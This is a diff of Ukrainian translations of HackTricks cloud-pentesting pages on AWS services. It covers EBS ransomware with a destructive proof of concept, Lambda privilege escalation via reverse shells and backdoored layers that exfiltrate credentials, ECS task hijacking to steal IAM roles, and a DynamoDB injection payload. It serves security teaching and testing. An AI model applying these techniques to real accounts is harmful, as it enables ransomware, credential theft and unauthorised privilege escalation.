Подібно до прикладу з програмою-вимагачем S3. Ця атака створить копії прикріплених обсягів EBS, використовуючи знімки, використає публічно доступний ключ з облікового запису 'зловмисника' для шифрування нових обсягів EBS, потім від'єднає оригінальні обсяги EBS від EC2 екземплярів і видалить їх, а потім нарешті видалить знімки, використані для створення нових зашифрованих обсягів EBS. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
Подібно до прикладу з програмами-вимагачами S3. Ця атака створить копії прикріплених обсягів EBS за допомогою знімків, використає публічно доступний ключ з облікового запису 'зловмисника' для шифрування нових обсягів EBS, потім від'єднає оригінальні обсяги EBS від екземплярів EC2 і видалить їх, а потім нарешті видалить знімки, використані для створення нових зашифрованих обсягів EBS. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
В результаті залишаться лише зашифровані обсяги EBS, доступні в обліковому записі.
![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
Також варто зазначити, що скрипт зупинив EC2 екземпляри, щоб від'єднати та видалити оригінальні обсяги EBS. Оригінальні нешифровані обсяги тепер зникли.
Також варто зазначити, що скрипт зупинив екземпляри EC2, щоб від'єднати та видалити оригінальні обсяги EBS. Оригінальні нешифровані обсяги тепер зникли.
![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
@@ -324,15 +324,15 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
]
}
```
Зачекайте момент, поки нова політика ключа не пошириться. Потім поверніться до облікового запису 'жертви' і спробуйте приєднати один з нових зашифрованих EBS-томів. Ви виявите, що можете приєднати том.
Зачекайте момент, поки нова політика ключа не пошириться. Потім поверніться до облікового запису 'жертви' і спробуйте приєднати один з нових зашифрованих EBS томів. Ви виявите, що можете приєднати том.
![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
Але коли ви спробуєте фактично запустити EC2-екземпляр з зашифрованим EBS-томом, він просто зазнає невдачі і знову перейде з стану 'очікування' в стан 'зупинено' назавжди, оскільки приєднаний EBS-том не може бути розшифрований за допомогою ключа, оскільки політика ключа більше не дозволяє це.
Але коли ви спробуєте фактично запустити EC2 інстанс з зашифрованим EBS томом, він просто не вдасться і перейде з стану 'очікування' назад у стан 'зупинено' назавжди, оскільки приєднаний EBS том не може бути розшифрований за допомогою ключа, оскільки політика ключа більше не дозволяє це.
![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
Це скрипт на python, який використовується. Він приймає AWS облікові дані для облікового запису 'жертви' та загальнодоступне значення AWS ARN для ключа, який буде використовуватися для шифрування. Скрипт створить зашифровані копії ВСІХ доступних EBS-томів, приєднаних до ВСІХ EC2-екземплярів у цільовому обліковому записі AWS, потім зупинить кожен EC2-екземпляр, від'єднає оригінальні EBS-томи, видалить їх і, нарешті, видалить всі знімки, використані під час процесу. Це залишить лише зашифровані EBS-томи в цільовому обліковому записі 'жертви'. ВИКОРИСТОВУЙТЕ ЦЕЙ СКРИПТ ТІЛЬКИ В ТЕСТОВОМУ СЕРЕДОВИЩІ, ВІН ДЕСТРУКТИВНИЙ І ВИДАЛИТЬ УСІ ОРИГІНАЛЬНІ EBS-ТОМИ. Ви можете відновити їх, використовуючи використаний KMS-ключ, і відновити їх до їхнього початкового стану через знімки, але просто хочу, щоб ви знали, що в кінцевому підсумку це є PoC програм-вимагачів.
Це python-скрипт, який використовується. Він приймає AWS облікові дані для облікового запису 'жертви' та публічно доступне значення AWS ARN для ключа, який буде використовуватися для шифрування. Скрипт створить зашифровані копії ВСІХ доступних EBS томів, приєднаних до ВСІХ EC2 інстансів у цільовому AWS обліковому записі, потім зупинить кожен EC2 інстанс, від'єднає оригінальні EBS томи, видалить їх і, нарешті, видалить всі знімки, використані під час процесу. Це залишить лише зашифровані EBS томи в цільовому обліковому записі 'жертви'. ВИКОРИСТОВУЙТЕ ЦЕЙ СКРИПТ ТІЛЬКИ В ТЕСТОВОМУ СЕРЕДОВИЩІ, ВІН ДЕСТРУКТИВНИЙ І ВИДАЛИТЬ УСІ ОРИГІНАЛЬНІ EBS ТОМИ. Ви можете відновити їх, використовуючи KMS ключ, і відновити їх до їхнього початкового стану через знімки, але просто хочу, щоб ви знали, що це в кінцевому підсумку є PoC для програм-вимагачів.
```
import boto3
import argparse

View File

@@ -4,7 +4,7 @@
## ECR
Для отримання додаткової інформації перевірте
Для отримання додаткової інформації перегляньте
{{#ref}}
../aws-services/aws-ecr-enum.md
@@ -49,7 +49,7 @@ aws ecr get-download-url-for-layer \
Після завантаження зображень ви повинні **перевірити їх на наявність чутливої інформації**:
{{#ref}}
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`

View File

@@ -16,19 +16,19 @@
Це означає, що якщо вам вдасться **зламати** екземпляр ECS, ви потенційно можете **отримати IAM роль, пов'язану з ECR та EC2 екземпляром**. Для отримання додаткової інформації про те, як отримати ці облікові дані, перегляньте:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
> [!CAUTION]
> Зверніть увагу, що якщо EC2 екземпляр застосовує IMDSv2, [**згідно з документацією**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **відповідь на PUT запит** матиме **обмеження на кількість переходів 1**, що ускладнює доступ до метаданих EC2 з контейнера всередині EC2 екземпляра.
> Зверніть увагу, що якщо EC2 екземпляр застосовує IMDSv2, [**згідно з документацією**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **відповідь на PUT запит** матиме **обмеження на кількість пересилок 1**, що ускладнює доступ до метаданих EC2 з контейнера всередині EC2 екземпляра.
### Privesc to node to steal other containers creds & secrets
Більше того, EC2 використовує docker для виконання завдань ECs, тому якщо ви зможете втекти на вузол або **отримати доступ до сокета docker**, ви зможете **перевірити**, які **інші контейнери** запущені, і навіть **потрапити всередину них** та **вкрасти їх IAM ролі**.
Більше того, EC2 використовує docker для виконання завдань EC, тому якщо ви зможете втекти до вузла або **отримати доступ до сокета docker**, ви зможете **перевірити**, які **інші контейнери** запущені, і навіть **потрапити всередину них** та **вкрасти їх IAM ролі**.
#### Making containers run in current host
Крім того, **роль EC2 екземпляра** зазвичай матиме достатньо **дозволів** для **оновлення стану контейнерного екземпляра** EC2 екземплярів, що використовуються як вузли всередині кластера. Зловмисник може змінити **стан екземпляра на DRAINING**, тоді ECS **видалить всі завдання з нього**, а ті, що виконуються як **REPLICA**, будуть **виконуватися в іншому екземплярі**, потенційно всередині **екземпляра зловмисника**, щоб він міг **вкрасти їх IAM ролі** та потенційно чутливу інформацію зсередини контейнера.
Крім того, **роль EC2 екземпляра** зазвичай матиме достатньо **дозволів** для **оновлення стану контейнерного екземпляра** EC2 екземплярів, що використовуються як вузли в кластері. Зловмисник може змінити **стан екземпляра на DRAINING**, тоді ECS **видалить всі завдання з нього**, а ті, що виконуються як **REPLICA**, будуть **виконуватися в іншому екземплярі**, потенційно всередині **екземпляра зловмисника**, щоб він міг **вкрасти їх IAM ролі** та потенційно чутливу інформацію зсередини контейнера.
```bash
aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
@@ -38,7 +38,7 @@ aws ecs update-container-instances-state \
aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force
```
Остання техніка для примусового повторного виконання завдань полягає в тому, щоб вказати ECS, що **завдання або контейнер були зупинені**. Існує 3 потенційних API для цього:
Остання техніка для примусового повторного виконання завдань полягає в тому, щоб вказати ECS, що **завдання або контейнер були зупинені**. Існує 3 потенційні API для цього:
```bash
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \

View File

@@ -14,7 +14,7 @@
Користувачі з правами **`iam:PassRole`, `lambda:CreateFunction` та `lambda:InvokeFunction`** можуть підвищити свої привілеї.\
Вони можуть **створити нову Lambda функцію та призначити їй існуючу IAM роль**, надаючи функції дозволи, пов'язані з цією роллю. Користувач може потім **написати та завантажити код до цієї Lambda функції (наприклад, з rev shell)**.\
Після налаштування функції користувач може **запустити її виконання** та заплановані дії, викликавши Lambda функцію через AWS API. Цей підхід ефективно дозволяє користувачу виконувати завдання опосередковано через Lambda функцію, працюючи з рівнем доступу, наданим IAM роллю, пов'язаною з нею.\\
Після налаштування функції користувач може **запустити її виконання** та заплановані дії, викликавши Lambda функцію через AWS API. Цей підхід ефективно дозволяє користувачу виконувати завдання непрямо через Lambda функцію, працюючи з рівнем доступу, наданим IAM роллю, пов'язаною з нею.\\
Зловмисник може зловживати цим, щоб отримати **rev shell та вкрасти токен**:
```python:rev.py
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
# List roles
aws iam list-attached-user-policies --user-name <user-name>
```
Ви також могли б **зловживати дозволами ролі lambda** з самої функції lambda.\
Якщо роль lambda мала б достатньо дозволів, ви могли б використати її для надання адміністративних прав собі:
Ви також можете **зловживати дозволами ролі lambda** з самої функції lambda.\
Якщо роль lambda мала достатньо дозволів, ви могли б використати її для надання адміністративних прав собі:
```python
import boto3
def lambda_handler(event, context):
@@ -89,10 +89,10 @@ aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
Користувачі з дозволами **`iam:PassRole`, `lambda:CreateFunction` та `lambda:CreateEventSourceMapping`** (і потенційно `dynamodb:PutItem` та `dynamodb:CreateTable`) можуть непрямо **підвищити привілеї**, навіть без `lambda:InvokeFunction`.\
Вони можуть створити **функцію Lambda з шкідливим кодом і призначити їй існуючу роль IAM**.
Користувачі з дозволами **`iam:PassRole`, `lambda:CreateFunction` та `lambda:CreateEventSourceMapping`** (а також потенційно `dynamodb:PutItem` та `dynamodb:CreateTable`) можуть непрямо **підвищити привілеї**, навіть без `lambda:InvokeFunction`.\
Вони можуть створити **функцію Lambda з шкідливим кодом і призначити їй існуючу IAM роль**.
Замість того, щоб безпосередньо викликати Lambda, користувач налаштовує або використовує існуючу таблицю DynamoDB, пов'язуючи її з Lambda через мапування джерела подій. Це налаштування забезпечує автоматичний **тригер функції Lambda при додаванні нового елемента** в таблицю, або через дію користувача, або інший процес, таким чином непрямо викликаючи функцію Lambda та виконуючи код з дозволами переданої ролі IAM.
Замість того, щоб безпосередньо викликати Lambda, користувач налаштовує або використовує існуючу таблицю DynamoDB, пов'язуючи її з Lambda через картографування джерела подій. Це налаштування забезпечує автоматичний **тригер функції Lambda при додаванні нового елемента** в таблицю, або через дію користувача, або інший процес, таким чином непрямо викликаючи функцію Lambda та виконуючи код з дозволами переданої IAM ролі.
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
@@ -143,10 +143,10 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
### `lambda:UpdateFunctionCode`
Користувачі, які мають дозвіл **`lambda:UpdateFunctionCode`**, мають потенціал **модифікувати код існуючої функції Lambda, яка пов'язана з роллю IAM.**\
Користувачі, які мають дозвіл **`lambda:UpdateFunctionCode`**, мають можливість **модифікувати код існуючої Lambda-функції, яка пов'язана з роллю IAM.**\
Зловмисник може **модифікувати код lambda для ексфільтрації облікових даних IAM**.
Хоча зловмисник може не мати прямої можливості викликати функцію, якщо функція Lambda вже існує і працює, ймовірно, що вона буде активована через існуючі робочі процеси або події, тим самим непрямо сприяючи виконанню модифікованого коду.
Хоча зловмисник може не мати прямої можливості викликати функцію, якщо Lambda-функція вже існує і працює, ймовірно, що вона буде активована через існуючі робочі процеси або події, тим самим непрямо сприяючи виконанню модифікованого коду.
```bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
@@ -170,12 +170,12 @@ aws --profile none-priv lambda update-function-configuration --function-name <fu
Для інших мов сценаріїв є інші змінні середовища, які ви можете використовувати. Для отримання додаткової інформації перевірте підрозділи мов сценаріїв у:
{{#ref}}
https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
{{#endref}}
#### RCE через Lambda Layers
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) дозволяє включати **код** у вашу функцію lamdba, але **зберігати його окремо**, тому код функції може залишатися маленьким, а **кілька функцій можуть ділитися кодом**.
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) дозволяє включати **код** у вашу функцію lamdba, але **зберігати його окремо**, так що код функції може залишатися маленьким, а **кілька функцій можуть ділитися кодом**.
Всередині lambda ви можете перевірити шляхи, з яких завантажується python код, за допомогою функції, подібної до наступної:
```python
@@ -202,7 +202,7 @@ print(json.dumps(sys.path, indent=2))
#### Експлуатація
Можливо зловживати дозволом `lambda:UpdateFunctionConfiguration`, щоб **додати новий шар** до функції lambda. Щоб виконати довільний код, цей шар повинен містити якусь **бібліотеку, яку lambda збирається імпортувати.** Якщо ви можете прочитати код lambda, ви могли б легко це знайти, також зверніть увагу, що можливо, що lambda **вже використовує шар** і ви могли б **завантажити** шар і **додати свій код** туди.
Можливо зловживати дозволом `lambda:UpdateFunctionConfiguration`, щоб **додати новий шар** до функції lambda. Щоб виконати довільний код, цей шар повинен містити якусь **бібліотеку, яку lambda збирається імпортувати.** Якщо ви можете прочитати код lambda, ви можете легко це знайти, також зверніть увагу, що можливо, що lambda **вже використовує шар** і ви могли б **завантажити** шар і **додати свій код** туди.
Наприклад, припустимо, що lambda використовує бібліотеку boto3, це створить локальний шар з останньою версією бібліотеки:
```bash
@@ -210,8 +210,8 @@ pip3 install -t ./lambda_layer boto3
```
Ви можете відкрити `./lambda_layer/boto3/__init__.py` і **додати бекдор у глобальний код** (функцію для ексфільтрації облікових даних або отримання зворотного шелу, наприклад).
Потім з ZIP-архівуйте цю директорію `./lambda_layer` і **завантажте новий lambda layer** у свій обліковий запис (або в обліковий запис жертви, але у вас можуть не бути на це дозволів).\
Зверніть увагу, що вам потрібно створити папку python і помістити бібліотеки туди, щоб перекрити /opt/python/boto3. Також layer повинен бути **сумісним з версією python**, що використовується lambda, і якщо ви завантажите його у свій обліковий запис, він повинен бути в **тій же області:**
Потім стисніть цю директорію `./lambda_layer` і **завантажте новий lambda layer** у свій обліковий запис (або в обліковий запис жертви, але у вас можуть не бути на це дозволи).\
Зверніть увагу, що вам потрібно створити папку python і помістити бібліотеки туди, щоб перекрити /opt/python/boto3. Крім того, layer повинен бути **сумісним з версією python**, що використовується lambda, і якщо ви завантажите його у свій обліковий запис, він повинен бути в **тій же області:**
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
@@ -228,7 +228,7 @@ aws lambda update-function-configuration \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
```
Наступним кроком буде або **виклик функції** самостійно, якщо ми можемо, або чекати, поки її **викличуть** звичайним способом що є більш безпечним методом.
Наступним кроком буде або **виклик функції** самостійно, якщо ми можемо, або чекати, поки **вона буде викликана** звичайними засобами що є більш безпечним методом.
**Більш прихований спосіб експлуатації цієї вразливості** можна знайти в:

View File

@@ -24,7 +24,7 @@ aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attribute
Оскільки DocumentDB є сумісною з MongoDB базою даних, ви можете уявити, що вона також вразлива до поширених атак NoSQL injection:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/nosql-injection
https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
{{#endref}}
### DocumentDB

View File

@@ -18,9 +18,9 @@ Amazon DynamoDB представлений AWS як **повністю керо
### Резервні копії та експорт до S3
Можна **планувати** створення **резервних копій таблиць** або створювати їх за **запитом**. Крім того, також можливо активувати **відновлення на момент часу (PITR) для таблиці.** Відновлення на момент часу забезпечує безперервні **резервні копії** ваших даних DynamoDB протягом **35 днів**, щоб допомогти вам захиститися від випадкових операцій запису або видалення.
Можливо **планувати** створення **резервних копій таблиць** або створювати їх **за запитом**. Крім того, також можливо активувати **відновлення на момент часу (PITR) для таблиці.** Відновлення на момент часу забезпечує безперервні **резервні копії** ваших даних DynamoDB протягом **35 днів**, щоб допомогти вам захиститися від випадкових операцій запису або видалення.
Також можливо експортувати **дані таблиці до S3**, але таблиця повинна мати **активоване PITR**.
Також можливо експортувати **дані таблиці до S3**, але таблиця повинна мати **активований PITR**.
### GUI
@@ -84,7 +84,7 @@ aws dynamodb describe-endpoints #Dynamodb endpoints
Існують способи доступу до даних DynamoDB з використанням **SQL-синтаксису**, тому типові **SQL-ін'єкції також можливі**.
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/sql-injection
https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html
{{#endref}}
### NoSQL-ін'єкція
@@ -95,7 +95,7 @@ https://book.hacktricks.xyz/pentesting-web/sql-injection
Зверніть увагу, що **різні умови** підтримуються, якщо дані отримуються через **`query`** або через **`scan`**.
> [!NOTE]
> Насправді, дії **Query** повинні вказувати **умову "EQ" (дорівнює)** в **первинному** ключі, щоб працювати, що робить їх набагато **менш вразливими до NoSQL-ін'єкцій** (і також обмежує операцію).
> Насправді, **Query** дії повинні вказувати **умову "EQ" (дорівнює)** у **первинному** ключі, щоб працювати, що робить їх набагато **менш вразливими до NoSQL-ін'єкцій** (і також обмежує операцію).
Якщо ви можете **змінити порівняння**, що виконується, або додати нові, ви могли б отримати більше даних.
```bash
@@ -105,7 +105,7 @@ https://book.hacktricks.xyz/pentesting-web/sql-injection
"GT": " " #All strings are greater than a space
```
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/nosql-injection
https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
{{#endref}}
### Сира ін'єкція Json
@@ -113,19 +113,19 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection
> [!CAUTION]
> **Ця вразливість базується на Scan Filter dynamodb, який тепер застарілий!**
**DynamoDB** приймає **Json** об'єкти для **пошуку** даних у БД. Якщо ви виявите, що можете записувати в json об'єкт, надісланий для пошуку, ви можете зробити дамп БД, всієї її вмісту.
**DynamoDB** приймає **Json** об'єкти для **пошуку** даних у БД. Якщо ви виявите, що можете записувати в json об'єкт, надісланий для пошуку, ви зможете зробити дамп БД, всієї її вмісту.
Наприклад, ін'єкція в запит, як:
```bash
'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'
```
зловмисник міг би ввести щось на зразок:
зловмисник міг би ввести щось на кшталт:
`1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0`
виправити умову "EQ", шукаючи ID 1000, а потім шукати всі дані з рядком Id, що перевищує 0, що є всіма.
виправити умову "EQ", шукаючи ID 1000, а потім шукати всі дані з рядком Id, більшим за 0, що є всіма.
Ще один **вразливий приклад з використанням входу** може бути:
Ще один **вразливий приклад з використанням входу** міг би бути:
```python
scan_filter = """{
"username": {
@@ -152,7 +152,7 @@ password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
```java
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
```
Вам потрібно знати, що пошук у DynamoDB для **заміни** значення **атрибута** в **виразах фільтрації** під час сканування елементів, токени повинні **починатися** з символу **`:`**. Такі токени будуть **замінені** на фактичне **значення атрибута під час виконання**.
Вам потрібно знати, що при пошуку в DynamoDB для **заміни** значення **атрибута** в **виразах фільтра** під час сканування елементів, токени повинні **починатися** з символу **`:`**. Такі токени будуть **замінені** на фактичне **значення атрибута під час виконання**.
Отже, вхід, подібний до попереднього, можна обійти за допомогою чогось на зразок:
```bash

View File

@@ -35,10 +35,10 @@ Amazon EC2 використовується для ініціювання **ві
### Metadata Endpoint
AWS EC2 метадані - це інформація про інстанс Amazon Elastic Compute Cloud (EC2), яка доступна інстансу під час виконання. Ці метадані використовуються для надання інформації про інстанс, такої як його ідентифікатор інстансу, зона доступності, в якій він працює, IAM роль, пов'язана з інстансом, та ім'я хоста інстансу.
AWS EC2 метадані - це інформація про інстанс Amazon Elastic Compute Cloud (EC2), яка доступна інстансу під час виконання. Ці метадані використовуються для надання інформації про інстанс, такої як його ID інстансу, зона доступності, в якій він працює, IAM роль, пов'язана з інстансом, та ім'я хоста інстансу.
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
### Enumeration
@@ -149,13 +149,13 @@ aws ec2 describe-vpc-peering-connections
## EBS
Amazon **EBS** (Elastic Block Store) **знімки** - це, по суті, статичні **резервні копії** обсягів AWS EBS. Іншими словами, це **копії** **дисків**, підключених до **EC2** екземпляра в певний момент часу. Знімки EBS можна копіювати між регіонами та обліковими записами або навіть завантажувати та запускати локально.
Amazon **EBS** (Elastic Block Store) **знімки** в основному є статичними **резервними копіями** обсягів AWS EBS. Іншими словами, це **копії** **дисків**, підключених до **EC2** екземпляра в певний момент часу. Знімки EBS можуть бути скопійовані між регіонами та обліковими записами або навіть завантажені та запущені локально.
Знімки можуть містити **чутливу інформацію**, таку як **джерельний код або ключі API**, тому, якщо у вас є можливість, рекомендується перевірити це.
Знімки можуть містити **чутливу інформацію**, таку як **джерельний код або ключі API**, тому, якщо у вас є можливість, рекомендується перевірити їх.
### Різниця AMI та EBS
**AMI** використовується для **запуску EC2 екземпляра**, тоді як **знімок EC2** використовується для **резервного копіювання та відновлення даних, збережених на обсязі EBS**. Хоча знімок EC2 можна використовувати для створення нового AMI, це не те саме, що AMI, і він не містить інформації про операційну систему, сервер додатків або інше програмне забезпечення, необхідне для запуску програми.
**AMI** використовується для **запуску EC2 екземпляра**, тоді як **знімок EC2** використовується для **резервного копіювання та відновлення даних, збережених на обсязі EBS**. Хоча знімок EC2 може бути використаний для створення нового AMI, це не те саме, що AMI, і він не містить інформації про операційну систему, сервер додатків або інше програмне забезпечення, необхідне для запуску програми.
### Підвищення привілеїв
@@ -171,7 +171,7 @@ Amazon **EBS** (Elastic Block Store) **знімки** - це, по суті, с
**SSM Agent** дозволяє Systems Manager оновлювати, керувати та налаштовувати ці ресурси. Агент **обробляє запити від служби Systems Manager в AWS Cloud** і потім виконує їх відповідно до запиту.
**SSM Agent постачається**[ **попередньо встановленим в деяких AMI**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) або вам потрібно [**встановити їх вручну**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) на екземплярах. Також роль IAM, що використовується всередині екземпляра, повинна мати політику **AmazonEC2RoleforSSM**, щоб мати можливість спілкуватися.
**SSM Agent постачається**[ **попередньо встановленим у деяких AMI**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) або вам потрібно [**встановити їх вручну**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) на екземплярах. Також IAM роль, що використовується всередині екземпляра, повинна мати політику **AmazonEC2RoleforSSM**, щоб мати можливість спілкуватися.
### Перерахування
```bash
@@ -211,7 +211,7 @@ aws elbv2 describe-listeners --load-balancer-arn <load_balancer_arn>
```
## Шаблони запуску та групи автоскалювання
### Перерахунок
### Перерахування
```bash
# Launch templates
aws ec2 describe-launch-templates
@@ -228,7 +228,7 @@ aws autoscaling describe-load-balancers
```
## Nitro
AWS Nitro - це набір **інноваційних технологій**, які формують базову платформу для AWS EC2 інстансів. Введений Amazon для **покращення безпеки, продуктивності та надійності**, Nitro використовує спеціальні **апаратні компоненти та легкий гіпервізор**. Він абстрагує більшість традиційних функцій віртуалізації на спеціалізоване апаратне та програмне забезпечення, **мінімізуючи поверхню атаки** та покращуючи ефективність ресурсів. Відвантажуючи функції віртуалізації, Nitro дозволяє EC2 інстансам забезпечувати **практично продуктивність bare-metal**, що робить його особливо корисним для ресурсомістких додатків. Крім того, Nitro Security Chip спеціально забезпечує **безпеку апаратного забезпечення та прошивки**, ще більше зміцнюючи його надійну архітектуру.
AWS Nitro - це набір **інноваційних технологій**, які формують базову платформу для AWS EC2 інстансів. Введений Amazon для **покращення безпеки, продуктивності та надійності**, Nitro використовує спеціальні **апаратні компоненти та легкий гіпервізор**. Він абстрагує більшість традиційних функцій віртуалізації на спеціалізоване апаратне та програмне забезпечення, **мінімізуючи поверхню атаки** та покращуючи ефективність ресурсів. Завдяки перенесенню функцій віртуалізації, Nitro дозволяє EC2 інстансам забезпечувати **практично продуктивність bare-metal**, що робить його особливо корисним для ресурсомістких додатків. Крім того, Nitro Security Chip спеціально забезпечує **безпеку апаратного забезпечення та прошивки**, ще більше зміцнюючи його надійну архітектуру.
Отримайте більше інформації та дізнайтеся, як його перерахувати з:
@@ -238,7 +238,7 @@ aws-nitro-enum.md
## VPN
VPN дозволяє підключити вашу **локальну мережу (site-to-site VPN)** або **ноутбуки працівників (Client VPN)** до **AWS VPC**, щоб сервіси могли бути доступні без необхідності їх відкриття в інтернеті.
VPN дозволяє підключити вашу **локальну мережу (site-to-site VPN)** або **ноутбуки працівників (Client VPN)** до **AWS VPC**, щоб сервіси могли бути доступні без необхідності їх відкриття в Інтернеті.
#### Основні компоненти AWS VPN
@@ -255,12 +255,12 @@ VPN дозволяє підключити вашу **локальну мереж
3. **Site-to-Site VPN Connection**:
- З'єднання Site-to-Site VPN з'єднує вашу локальну мережу з VPC через безпечний IPsec VPN тунель.
- Цей тип з'єднання вимагає Customer Gateway та Virtual Private Gateway.
- Він використовується для безпечної, стабільної та послідовної комунікації між вашим дата-центром або мережею та вашим AWS середовищем.
- Використовується для безпечної, стабільної та послідовної комунікації між вашим дата-центром або мережею та вашим AWS середовищем.
- Зазвичай використовується для регулярних, довгострокових з'єднань і оплачується на основі обсягу даних, переданих через з'єднання.
4. **Client VPN Endpoint**:
- Кінцева точка Client VPN - це ресурс, який ви створюєте в AWS для активації та управління сесіями клієнтського VPN.
- Він використовується для дозволу окремим пристроям (таким як ноутбуки, смартфони тощо) безпечно підключатися до ресурсів AWS або вашої локальної мережі.
- Він відрізняється від Site-to-Site VPN тим, що призначений для окремих клієнтів, а не для підключення цілих мереж.
- Використовується для дозволу окремим пристроям (таким як ноутбуки, смартфони тощо) безпечно підключатися до ресурсів AWS або вашої локальної мережі.
- Вона відрізняється від Site-to-Site VPN тим, що призначена для окремих клієнтів, а не для підключення цілих мереж.
- З Client VPN кожен клієнтський пристрій використовує програмне забезпечення VPN-клієнта для встановлення безпечного з'єднання.
Ви можете [**знайти більше інформації про переваги та компоненти AWS VPN тут**](aws-vpc-and-networking-basic-information.md#vpn).
@@ -293,13 +293,13 @@ aws ec2 describe-vpn-connections
**Локальні Тимчасові Облікові Дані**
Коли використовується AWS VPN Client для підключення до VPN, користувач зазвичай **входить в AWS**, щоб отримати доступ до VPN. Потім деякі **облікові дані AWS створюються та зберігаються** локально для встановлення VPN-з'єднання. Ці облікові дані **зберігаються в** `$HOME/.config/AWSVPNClient/TemporaryCredentials/<region>/temporary-credentials.txt` і містять **AccessKey**, **SecretKey** та **Token**.
Коли AWS VPN Client використовується для підключення до VPN, користувач зазвичай **входить в AWS**, щоб отримати доступ до VPN. Потім деякі **облікові дані AWS створюються та зберігаються** локально для встановлення VPN-з'єднання. Ці облікові дані **зберігаються в** `$HOME/.config/AWSVPNClient/TemporaryCredentials/<region>/temporary-credentials.txt` і містять **AccessKey**, **SecretKey** та **Token**.
Облікові дані належать користувачу `arn:aws:sts::<acc-id>:assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: дослідити більше про дозволи цих облікових даних).
**файли конфігурації opvn**
**opvn конфігураційні файли**
Якщо **VPN-з'єднання було встановлено**, вам слід шукати **`.opvn`** файли конфігурації в системі. Більше того, одне місце, де ви можете знайти **конфігурації**, це **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`**
Якщо **VPN-з'єднання було встановлено**, вам слід шукати **`.opvn`** конфігураційні файли в системі. Більше того, одне з місць, де ви можете знайти **конфігурації**, це **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`**
#### **Постексплуатація**

View File

@@ -1,4 +1,4 @@
# AWS - Перерахунок реляційної бази даних (RDS)
# AWS - Relational Database (RDS) Enum
{{#include ../../../banners/hacktricks-training.md}}
@@ -20,7 +20,7 @@ AWS RDS підтримує різні широко використовуван
## Облікові дані
